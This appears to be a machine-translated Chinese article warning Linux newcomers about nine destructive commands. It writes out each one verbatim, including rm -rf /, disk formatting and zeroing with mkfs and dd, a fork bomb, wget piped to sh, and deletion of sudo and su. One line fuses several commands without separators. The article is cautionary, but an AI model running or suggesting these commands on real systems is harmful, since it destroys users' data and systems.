您不应该运行的9个致命Linux命令

Linux可能是一把双刃剑。它假设您知道自己在做什么,并给您自由去做自己想做的事情。不会问你的当您实际上知道自己在做什么时,这很方便,但这也意味着您可以想象在几秒钟内使系统无法使用。

Linux命令的新增功能行?不用担心。开始使用我们的Linux终端快速入门指南。有了这两个资源,您很快就会熟悉命令行。

但是,无论您是Linux新手还是老手,除非您完全了解< / em>它的作用。以下是大多数情况下您要避免的最致命的Linux命令。

递归删除

Linux毫无疑问地删除您想要的任何内容的能力是天哪,尤其是在Windows中处理了多年“该文件无法删除"错误之后。但是Internet巨魔会迅速欺骗您,为您提供极其危险的删除命令,它们可能会擦除整个硬盘驱动器。

rm -rf /

此行通过两个切换按钮执行删除命令 rm -r 强制通过所有子目录进行递归删除,而 -f 强制删除未确认的只读文件。该命令在 / 根目录上执行,实际上是将整个系统清除干净。

请注意,目前在大多数Linux系统上,如果尝试执行此操作,则会收到警告。但是警告并不能保证,所以请不要这样做。

格式化硬盘驱动器

对于Linux新手来说,该终端特别棘手,因为它提供了几种意外擦拭终端的方法。硬盘。递归删除是一个很大的功能,但是这又是另一个功能:

mkfs.ext3 /dev/hda

此命令格式化硬盘驱动器以使用ext3文件系统。磁盘驱动器格式化不是天生的恶意行为,但会“重置"驱动器,使其“像新硬盘一样好"。换句话说,格式化的硬盘驱动器就像一块空白的纸。

格式化对磁盘分区和外部驱动器很有用,但是在整个硬盘驱动器(例如 / dev / hda )是很危险的,并且可能会使您的系统处于无法恢复的状态。

覆盖硬盘驱动器

如果意外的磁盘格式化不够糟糕,则有可能覆盖硬盘使用原始数据进行驱动。至少磁盘格式化是具有实际用途的实际过程。另一方面,直接覆盖驱动器并不怎么好。

command > /dev/hda

在上述命令中,命令可以由任何Bash命令代替。 >运算符将输出从左侧命令重定向到右侧文件。在这种情况下,left命令的输出是什么都没有关系。原始数据将被重定向并用于覆盖系统硬盘驱动器。

如您所料,这将使其变得无用。

擦拭硬盘驱动器

破坏系统的另一种方法。这次,该命令将使硬盘驱动器完全清零。没有数据损坏或覆盖;它会从字面上填充零。

dd if=/dev/zero of=/dev/hda

dd 命令是低级指令,主要用于将数据写入物理驱动器。 if 参数确定数据源,在本例中为 / dev / zero ,这是Linux上的特殊功能,可生成无限的零流。 of 参数确定这些零的目的地,即 / dev / hda 驱动器。

是的,将驱动器清零是有正当理由的,但是如果您不知道这些原因是什么,那么您就不要使用此命令。

放大硬盘驱动器

如果您厌倦了听各种方法要破坏硬盘,请挂起。这是您的另一项。在Linux上,有一个名为 / dev / null 的特殊文件,该文件将丢弃写入其中的所有数据。您可以将其视为黑洞或文件粉碎机:将任何作为输入的东西都吃光了。

mv / /dev/null

您能在这里发现危险吗? mv 命令尝试将系统的根目录 / 移到 / dev / null 的黑洞中。这是一个有效的命令,其结果是灾难性的:硬盘被吞噬,并且一无所有。这样做会使您的系统无法使用。

导致内核崩溃

Windows的臭名昭著的蓝屏死机。有时会发生内部错误,无法恢复,因此系统会执行类似于蓝屏的操作:内核崩溃

dd if=/dev/random of=/dev/portecho 1 > /proc/sys/kernel/paniccat /dev/portcat /dev/zero > /dev/mem

上述命令的复杂性在这里不重要。 重要的是运行任何这些行都会导致内核崩溃,从而迫使您重新启动系统。除非您完全确定自己知道自己在做什么,否则最好不要使用这些命令。

Fork Bomb

Bash是Linux终端的语言,功能强大。它不仅可以运行命令,而且还可以运行函数,这使得编写可自动执行系统任务的脚本变得容易。不幸的是,功能并非没有其自身的风险。

:(){:|:&};:

这种晦涩难懂的命令称为 fork bomb ,这是内核恐慌的一种特殊类型。它定义了一个名为的函数,该函数在执行时递归调用两次。递归调用之一发生在前台,而另一个发生在后台。

换句话说,每执行一次此函数,就会产生两个子进程。这些子进程产生了自己的子进程,并且此循环一直处于无限循环中。唯一的解决方法是重新启动系统。

执行远程脚本

这是一个无辜的命令,实际上对Linux系统的日常工作很有用。 wget 检索Web URL的内容,该URL可用于访问网站或下载文件。但是,有一个简单的技巧使其变得危险:

wget http://an-untrusted-url -O- | sh

以上组合下载了给定URL的内容,并立即将其提供给 sh 命令,该命令执行下载的内容在终端。如果该URL指向恶意脚本,则可以使用此命令来密封自己的命运。

禁用Root命令权限

这最后一个命令很简单。它利用常用的 rm 命令禁用Linux上两个最重要的命令: sudo su 。长话短说,这两个允许您以root权限运行 other 命令。没有它们,Linux上的生活将很痛苦。

rm -f /usr/bin/sudo;rm -f /bin/su

这就是为什么您不应该运行此命令的原因。它会在没有任何确认的情况下从系统中删除这两个命令,从而使您陷入困境。有种恢复已删除内容的方法,但这并不总是那么简单,也不会很愉快。

请小心!不要害怕在Linux和命令行终端上玩耍,但是同时,除非您绝对确定会做任何事情,否则请进行研究并不要执行任何操作。如果有人告诉您“尝试此命令",请始终对其进行两次和三次检查。

标签: